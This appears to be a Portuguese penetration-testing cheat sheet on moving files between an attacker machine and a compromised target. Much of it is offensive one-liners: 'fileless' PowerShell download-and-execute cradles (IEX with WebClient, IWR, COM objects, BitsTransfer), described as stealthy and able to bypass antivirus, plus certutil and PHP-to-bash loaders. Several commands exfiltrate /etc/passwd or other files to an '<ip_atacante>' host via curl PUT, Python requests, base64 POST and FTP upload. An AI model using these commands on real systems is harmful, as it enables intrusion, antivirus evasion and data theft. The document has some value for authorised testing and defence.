# Transferência de Arquivos

### Configurando Servidor Web

#### Python

Abre um servidor web na porta 9999 (a porta padrão é a 8000):

```python
# Python 2
python -m SimpleHTTPServer 9999

# Python 3
sudo python3 -m http.server 9999
```

#### PHP

```php
php -S 0.0.0.0:<port>
```

#### Ruby

```bash
ruby -run -e httpd . -p <port>
```



### Baixando Arquivos de Servidores Web

Para baixar os arquivos dos servidores web acima (PHP e Python), utilize um dos comandos abaixo:

#### Linux

curl

```bash
curl -O http://<ip>:<port>/<file.txt>
curl <url> --output <output_file>
```

wget

```bash
wget <ip>:<port>/<file.txt>

# Baixa todos os arquivos com recursividade quando a página web tem os arquivos expostos
wget -r -np -nH --cut-dirs=3 -R index.html http://site.com
```

#### Windows - Fileless

Essa técnica consiste em executar o arquivo diretamente na Memória RAM, sem precisar salvar no HD, fazendo assim com que o ataque fique em modo stealth, conseguindo realizar bypass em ferramentas de segurança, como o AV.

WebClient

```bash
IEX(New-Object Net.WebClient).downloadString('<http://site.com/file>')
(New-Object System.Net.WebClient).DownloadString('<url>')
powershell "(new-object System.Net.WebClient).DownloadString('http://site.com/file') | IEX"
powershell "IEX(New-Object Net.WebClient).downloadString('http://site.com/file')"

# Ignorando certificado SSL
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
```

Invoke-WebRequest (IWR)

```bash
IEX (iwr '<http://site.com/file.ps1>')
IEX(IWR -UseBasicParsing http://site/evil.exe)

# Ignorando configuração inicial do IE
Invoke-WebRequest <http://site.com/file.ps1> -UseBasicParsing | IEX
```

Internet Explorer

```bash
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('<http://site.com/file.ps1>');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
```

certutil

```bash
certutil -verifyctl -split -f http://<ip_atacante>/<file.ps1>
```

WinHttpRequest

```bash
# Máquina atacante
sudo python3 -m http.server 80

# Máquina alvo
$conn = new-object -com WinHttp.WinHttpRequest.5.1;
$conn.open('GET', 'http://<ip_atacante>/<file.ps1>', $false);
$conn.send();
iex $conn.ResponseText

# Ou
$conn=new-object -com WinHttp.WinHttpRequest.5.1;$conn.open('GET','<http://site.com/file.ps1>',$false);$conn.send();iex $conn.responseText
```

Msxml2

```bash
# Máquina atacante
sudo python3 -m http.server 80

# Máquina alvo
$conn=New-Object -ComObject Msxml2.XMLHTTP;
$conn.open('GET', 'http://<ip_atacante>/<file.ps1>', $false);
$conn.send();
iex $conn.responseText

# Ou
$conn=New-Object -ComObject Msxml2.XMLHTTP;$conn.open('GET','<http://site.com/file.ps1>',$false);$conn.send();iex $conn.responseText
```

BitsAdmin, uma ferramente nativa do Windows que permite fazer download (e também upload) de arquivos.

```bash
Import-Module bitstransfer
Start-BitsTransfer -Source "http://<ip>/<file>" -Destination "<output_file>"


# Ou
Import-Module bitstransfer;
Start-BitsTransfer 'http://<ip>/<file>' $env:temp\t;
$r=gc $env:temp\t;
rm $env:temp\t; 
iex $r


# Ou
Import-Module bitstransfer ; Start-BitsTransfer '<http://site.com/file.ps1>' $env:temp\t ; $r=gc $env:temp\t ; rm $env:temp\t ; iex $r
```



#### Windows - Salvando no HD

Powershell

Primeiro é preciso abrir uma sessão na máquina alvo

```bash
$Session = New-PSSession -ComputerName <ip>
```

Após isso podemos transferir arquivo (de maneira bidirecional), com as seguintes maneiras:

```bash
# Transferindo arquivo local para a máquina remota
Copy-Item -Path <C:\path\to\file> -ToSession $Session -Destination <C:\path\to\output_file\>

# Transferindo arquivo de máquina remota para máquina local
Copy-Item -Path "<C:\path\to\file>" -Destination <C:\path\to\output_file\> -FromSession $Session
```

WebClient

```bash
iex(New-Object Net.WebClient).DownloadFile("<http://site/file>", "<C:\Users\user\Downloads\file>")
(New-Object System.Net.WebClient).DownloadFile('<url>', '<outputfile>')

# Ou
$webclient = New-Object System.Net.WebClient
$url = "https://domain.com/file.ps1"
$outputfile = "C:\Users\mysther\Desktop\file.ps1"
$webclient.DownloadFile($url, $outputfile)
```

Caso tenho problemas de certificado ao realizar download de arquivos via WebClient, execute o comando abaixo:

```bash
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
```

Invoke-WebRequest (IWR)

```bash
Invoke-WebRequest -Uri "<http://site/file>" -OutFile "<C:\Users\<user>\Downloads>"
Invoke-WebRequest "<http://site/file>" -OutFile "<C:\Users\<user>\Downloads>"
iwr -UseBasicParsing -Uri <http://site.com/file.exe> -OutFile '<C:\Users\<user>\Downloads\file.exe>'
iwr http://site/evil.exe -o <output-name.exe>
iwr http://site/evil.exe -OutFile <output-name.exe>
```

Certutil

```bash
cmd /c certutil -urlcache -split -f <http://ip/file.exe> <c:\dir\output\file.exe>
```

nc

```bash
# Máquina que irá receber o arquivo
nc -l -p <porta> > <file>
ncat -l -p <porta> --recv-only > <file>

# Máquina que irá enviar o arquivo
nc -q 0 <ip> <porta> < <file>
ncat --send-only <ip> <porta> < <file>
```

```bash
# Máquina que irá enviar o arquivo
nc <ip> 443 > <file>

# Máquina que irá receber o arquivo
sudo nc -l -p 443 -q 0 < <file>
```

Ncat

```bash
# Máquina que irá enviar o arquivo
sudo ncat -l -p 443 --send-only < <file>

# Máquina que irá receber o arquivo
ncat <ip> 443 --recv-only > <file>
cat < /dev/tcp/<ip>/443 > <file>
```

RDP

```bash
# xfreerdp
xfreerdp /v:<ip> /d:<domain> /u:<user> /p:'<pass>' /drive:linux,</home/mysther/folder>

# rdesktop
rdesktop <ip> -d <domain> -u <user> -p '<pass>' -r disk:linux='/home/mysther/rdesktop/folder'
```

GfxDownloadWrapper

```bash
GfxDownloadWrapper.exe "http://<ip>/<file>" "<C:\path\to\output_file>"
```

###

### NGNIX

Criando diretório e atribuindo permissões

```bash
sudo mkdir -p /var/www/uploads/myuploads
sudo chown -R www-data:www-data /var/www/uploads/myuploads
```

Crie arquivo de configuração em `/etc/nginx/sites-available/upload.conf`, com o seguinte conteúdo:

```bash
server {
    listen 9001;
    
    location /myuploads/ {
        root    /var/www/uploads;
        dav_methods PUT;
    }
}
```

Criar link simbólico

```bash
sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/
```

Reiniciando o Ngnix

```bash
sudo systemctl restart nginx.service
```

**OBS.:** Caso tenho algum erro nesse ponto, verifique o arquivo `/var/log/nginx/error.log` para obter mais informações.

Removendo padrões do ngnix

```bash
sudo rm /etc/nginx/sites-enabled/default
```

Agora basta enviar um arquivo via PUT.

```bash
curl http://<ip>:9001/myuploads/file.txt -T /etc/passwd
```

O arquivo enviado irá ser enviado para `/var/www/uploads/myuploads/`.



### PHP

```bash
# Salvando arquivo
<?php file_put_contents('<output_file>', fopen('http://<ip>/<file>', 'r')); ?>
# Ou
php -r "file_put_contents('output_file', file_get_contents('http://<ip>/<file>'));"


php -r '$file = file_get_contents("<http://<ip_atacante>/file>"); file_put_contents("<file_output>",$file);'
php -r 'const BUFFER = 1024; $fremote = fopen("<http://<ip_atacante>/file>", "rb"); $flocal = fopen("<file_output>", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'


# Mostrando conteúdo do arquivo
php -r 'var_dump(file_get_contents("http://<ip>/<file>"));'

# Fileless
php -r '$lines = @file("<http://<ip_atacante>/file>"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
```

###

### Python 2 e 3

```bash
python2 -c 'import urllib;urllib.urlretrieve ("<http://<ip_atacante>/file>", "<file_output>")'
python3 -c 'import urllib.request;urllib.request.urlretrieve("<http://<ip_atacante>/file>", "<file_output>")'
```

###

### Ruby

```bash
ruby -e 'require "net/http"; File.write("<file_output>", Net::HTTP.get(URI.parse("<http://<ip_atacante>/file>")))'
```

###

### Perl

```bash
perl -e 'use LWP::Simple; getstore("<http://<ip_atacante>/file>", "<file_output>");'
```

###

### Javascript

Primeiro salve o arquivo abaixo com o nome `downloader.js` (ou outro nome da sua preferência)

```bash
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
```

Agora execute-o através do `cscript.exe`, que é nativo Windows

```bash
cscript.exe /nologo  .\downloader.js <http://<ip_atacante>/file> <file_output>
```

### VBScript

Primeiro salve o arquivo abaixo com o nome `downloader.vbs` (ou outro nome da sua preferência)

```bash
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with
```

Agora execute-o através do `cscript.exe`, que é nativo Windows

```bash
cscript.exe /nologo .\downloader.vbs http://192.168.218.131/server.pem server.pem
```

###

### Baixando Arquivos de Servidores FTP

Para este cenário, iremos precisar ter as credenciais de autenticação no servidor FTP. Todo o seu conteúdo será baixado de form recursiva

```bash
wget -r ftp://<user>:<pass>@<ip>/
wget -m ftp://<user>:<pass>@<ip>/
wget -m --user <user> --password '<pass>' ftp://<ip>
```

###

### SCP (Download/Upload)

#### Arquivos do Linux para  Linux

Certifique-se de que o host remoto tenha o `SSH` instalado, pois esse processo irá pedir a senha do usuário em questão.

```bash
# Download
scp <user>@<ip>:/<diretorio>/<completo>/<arquivo.txt> /<diretorio>/<local>/

# Upload
scp /<diretorio>/<local>/<arquivo.txt> <user>@<ip>:/<diretorio>/<completo>/
```

**OBS.:** Utilize o parâmetro `-r` depois do `scp` para enviar um diretório completo de modo recursivo.

#### Arquivos do Windows para Linux

Ao colocar o caminho absoluto em sistema Windows, temos que fazer um pouco diferente, pois o `:` é utilizado como delimitador entre host e path, porém o Windows tem um `:` após sua unidade de disco (Ex.: C:\\), então devemos escapar isso utilizando aspas duplas e invertendo as barras.

```bash
scp <user>@<ip-windows>:"<C:/Users/Administrator/file.txt>" .
```

### Clonando Site

Esse tipo de clone é com recursividade

```bash
wget -m -p -E -k -K -np -v <site>
```

###

### Netcat

#### Método 1

```bash
# Receptor
nc -lvp <port> > <file>

# Remetente
cat <file> | nc <ip> <port>
```

#### Método 2

```bash
# Receptor
nc -l -p <port> -q 1 > <file.zip> < /dev/null

# Remetente
cat <file.zip> | netcat <ip_host_receptor> <port>
```

{% hint style="info" %}
**OBS.:** Utilizando esse segundo método, assim que o host receber o arquivo, o nc será finalizado, porém ele continuará baixando o arquivo em background.
{% endhint %}

#### Método 3

```bash
# Remetente
nc -nlvp <port> < <file>

# Receptor
nc <ip> <port> > <file>
```



### xfreerdp

Irá ser criado a unidade `data` no Windows, que pode ser acessada no `/tmp` do Linux.

```bash
xfreerdp /v:<ip> /u:<user> /p:<pass> /drive:data,/tmp
```



### Socat

Recebendo arquivo:

```bash
socat -u TCP-LISTEN:9876,reuseaddr OPEN:out.txt,creat # Server
socat -u FILE:test.txt TCP:127.0.0.1:9876 # Client
```

Enviando arquivo:

```bash
socat -u FILE:test.dat TCP-LISTEN:9876,reuseaddr
socat -u TCP:127.0.0.1:9876 OPEN:out.dat,creat
```

###

### Base64

#### Copiando e Colando

No host onde contém o arquivo, iremos digitar o comando:

```bash
# Linux
base64 -w 0 <file_to_transfer>
cat <file_to_transfer> | base64 -w 0

# Windows
[Convert]::ToBase64String((Get-Content -path "<file>" -Encoding byte))
```

Copie a saída encodada em base64 e execute no host onde o arquivo irá ser salvo:

```bash
# Linux
echo '<base64_encode>' | base64 -d > <output_file>

# Windows
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('<base64_encode>'))
[IO.File]::WriteAllBytes("<output_file>", [Convert]::FromBase64String("<base64_encode>"))
```

#### Enviando via POST

Também podemos encodar um arquivo e enviá-lo via POST. Primeiro vamos abrir o nosso listener para receber o conteúdo do arquivo em base64.

```bash
nc -nvlp 8000
```

Agora na máquina alvo, execute:

```bash
[System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
Invoke-WebRequest -Uri http://<ip_atacante>:8000/ -Method POST -Body $b64
```



### SMB

Esse método utiliza o Linux como um servidor SMB e iremos acessar os seus arquivos através do Windows (PowerShell), como em um mapeamento de unidade de rede.

#### impacket-smbserver

Execute no Linux:

```bash
# Com autenticação
impacket-smbserver <name_server> <share_directory> -smb2support -user <user> -password <pass>

# Sem autenticação
sudo python3 smbserver.py <share_directory> .
```

Execute no Windows de duas maneiras, via web browser / UNC, com o caminho:

```bash
\\<ip_atacante>\<share_directory>\<file.txt>
```

Ou se preferir, via powershell, da seguinte maneira:

```bash
# Conectando
$pass = convertto-securestring '<pass>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('<name_server>', $pass)
New-PSDrive -Name <new_name_share> -PSProvider FileSystem -Credential $cred -Root \\<ip_linux>\<name_server>

# Acessando
cd <new_name_share>:
ls
```

No comando `New-PSDrive...` não é necessário ter mesmo `name` que foi setado no Linux. Caso precise realizar mais de uma conexão, altere esse valor.

#### smbserver.py (Impacket)

Compartilhando o arquivo via Linux

```bash
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py <name_share> .
```

Baixando o arquivo pelo Windows

```bash
copy \\<ip>\<name_share>\file.txt .
```



### FTP

#### Download

Máquina que irá fornecer o arquivo

```bash
sudo python3 -m pyftpdlib --port 21
```

Depois acesse o ftp com o usuário `anonymous` a partir da máquina que irá receber o arquivo

```bash
# Linux
ftp <ip>

# Windows
(New-Object Net.WebClient).DownloadFile('ftp://<ip>/<file>', '<C:\path\to\output_file>')

# ou
echo open <ip> > ftp.txt
echo USER anonymous >> ftp.txt
echo binary >> ftp.txt
echo GET <file_download> >> ftp.txt
echo bye >> ftp.txt
ftp -v -n -s:ftp.txt
```

#### Upload

Na máquina atacante vamos abrir um FTP com permissão de escrita, para que assim, a máquina comprometida realize upload de arquivos.&#x20;

```bash
sudo python3 -m pyftpdlib --port 21 --write
```

Realizando upload na máquina alvo

```bash
(New-Object Net.WebClient).UploadFile('ftp://<ip_atacante>/<output_filename>', '<c:\path\to\file>')

# Ou
echo open <ip_atacante> > command.txt
echo USER anonymous >> command.txt
echo binary >> command.txt
echo PUT <c:\path\to\file> >> command.txt
echo <output_filename> >> command.txt
ftp -v -n -s:command.txt
```



### UploadServer

Esse método é um pouco diferente dos demais, pois apesar de termos uma máquina atacante sendo utilizada como servidor, dessa vez será um servidor que irá aceitar upload de arquivos, ou seja, a máquina alvo irá realizar enviar os arquivos para a máquina atacante. Se quiser baixar arquivos do server, acesse a raiz (`http://<ip>:<port>`) e se quiser fazer um upload, acesso `http://<ip>:<port>/upload`.&#x20;

```bash
# Instalando o módulo
pip3 install uploadserver

# Iniciando o servidor
python3 -m uploadserver <port>
```

Agora que já temos um servidor que aceita upload de arquivos, vamos acessá-lo a partir de um Windows (nossa máquina alvo) e enviar arquivos através do script `PSUpload.ps1`. Note que temos que passar o `/upload` no final da URI, porém ao recebermos o arquivo, ele estará no mesmo diretório em que o servidor foi executado.

```bash
. .\PSUpload.ps1
Invoke-FileUpload -Uri http://<ip_atacante>:<port>/upload -File <C:\path\to\file>
```

Ou então, fazer um upload a partir do Python

```bash
python3 -c 'import requests;requests.post("http://<ip_atacante>:<port>/upload", files={"files":open("/etc/passwd","rb")})'
```

###

### TempDavFS

Ferramenta semelhante ao `smbserver`, para disponibilizar arquivos entre computadores

```bash
Import-Module .\Invoke-TempDavFS.psm1
Invoke-TempDavFS
```

###

### Sites

```bash
# PSUpload.ps1
https://github.com/juliourena/plaintext/blob/master/Powershell/PSUpload.ps1

# Tool para transferir arquivos via ICMP
https://github.com/icyguider/ICMP-TransferTools

# Invoke-TmpDavFS
https://github.com/p3nt4/Invoke-TmpDavFS

# UploadServer
https://github.com/Densaugeo/uploadserver
```
